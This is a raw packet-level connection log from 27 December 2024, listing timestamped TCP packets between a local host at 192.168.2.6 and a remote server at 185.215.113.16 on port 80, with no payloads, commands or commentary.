Dec 27, 2024 08:50:48.354957104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.355256081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.355787039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.355901003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.356018066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.356664896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.356812954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.356864929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.357609034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.357686043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.357778072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.358498096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.358623981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.358897924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.359402895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.359505892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.359550953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.360287905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.360394955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.360585928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.361202002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.361298084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.361351013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.362116098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.362224102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.363029957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.363090038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.363137007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.363931894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.363981009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.364034891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.364089012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.364872932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.364954948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.365003109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.365765095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.365886927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.365940094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.366686106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.366796017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.367712021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.367726088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.367847919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.367935896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.368505001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.368592978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.368659019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.369368076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.369420052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.369524002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.369587898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.370372057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.370436907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.371264935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.371339083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.371372938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.372193098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.372248888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.372270107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.372977018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.373083115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.373208046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.373284101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.374013901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.374113083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.374226093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.374867916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.375015020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.375061035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.375847101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.375914097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.376676083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.376677990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.376789093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.376833916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.377598047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.377697945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.377763033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.378288984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.378509998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.378602028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.378652096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.379440069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.379560947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.380316019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.380429029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.380461931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.380625963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.381249905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.381365061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.382005930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.382158995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.382265091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.382338047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.383039951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.383148909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.383229971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.383956909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.384099007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.384340048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.384972095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.385015011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.385734081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.385817051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.385902882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.385951996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.386742115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.386817932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.386866093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.387598991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.387775898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.388516903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.388545990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.388622046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.389422894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.389535904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.389585972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.390320063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.390435934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.390846968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.391339064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.391434908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.391479015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.392152071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.392251015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.392457962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.393098116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.393152952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.393254042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.393965006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.394074917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.394432068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.394922972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.394982100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.395021915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.395806074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.395924091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.396708012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.396732092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.396790981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.397608042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.397650003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.397692919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.398536921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.398612022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.398674011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.399430990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.399482012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.399530888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.400510073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.400615931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.400685072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.401252031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.401354074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.401405096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.402153015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.402264118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.402323961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.423623085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.427118063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.427131891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.427181005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.427534103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.427648067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.427702904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.428880930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.429070950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.429125071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.429349899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.429474115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.429527044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.430228949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.430691957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.430779934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.430810928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.431581020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.431668997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.432041883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.432830095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.432931900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.433696032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.433743000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.433748007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.434367895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.434475899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.434546947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.435245037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.435353041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.435420990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.436150074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.436218023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.436259031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.437206984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.437283039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.437298059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.437987089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.438075066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.438086033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.438916922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.439030886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.439069986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.439822912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.439883947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.440732956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.440742016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.440789938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.440818071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.441589117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.441639900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.441663980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.442512035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.442593098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.442938089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.442970037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.443501949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.443548918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.444430113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.444504023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.444530010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.445251942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.445338964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.445396900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.446142912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.446254969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.447294950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.447331905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.447439909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.448474884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.448508978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.448698044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.448745966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.448746920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.449394941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.449487925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.449527979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.450346947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.450462103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.451199055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.451236010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.451297998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.452119112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.452162981 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.452223063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.453047991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.453059912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.454384089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.454431057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.454474926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.454853058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.454938889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.455007076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.456029892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.456140041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.456193924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.456656933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.456769943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.457573891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.457636118 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.457674026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.458489895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.458585978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.458628893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.459389925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.459503889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.459543943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.461705923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.461824894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.462099075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.462184906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.462658882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.462773085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.463152885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.463251114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.463254929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.464082003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.464145899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.464174986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.464607000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.467333078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.467447996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.467636108 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.467705965 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.468198061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.471276999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.471389055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.471761942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.471879005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.472268105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.472666025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.472700119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.473562002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.473608017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.473659039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.474488974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.474509954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.474560022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.475418091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.475548983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.475606918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.476309061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.476366043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.476404905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.477247000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.477345943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.477683067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.478118896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.478177071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.478638887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.488770008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.488818884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.488878012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.490753889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.490811110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.490860939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.497860909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.497951984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.497968912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.498195887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.498266935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.498312950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.499094009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.499145985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.499213934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.500037909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.500116110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.500145912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.501008034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.501120090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.501514912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.546011925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.546042919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.546426058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.546547890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.546555996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.547137022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.547199965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.547621012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:48.548140049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.548254967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:48.548346996 CET	49752	80	192.168.2.6	185.215.113.16
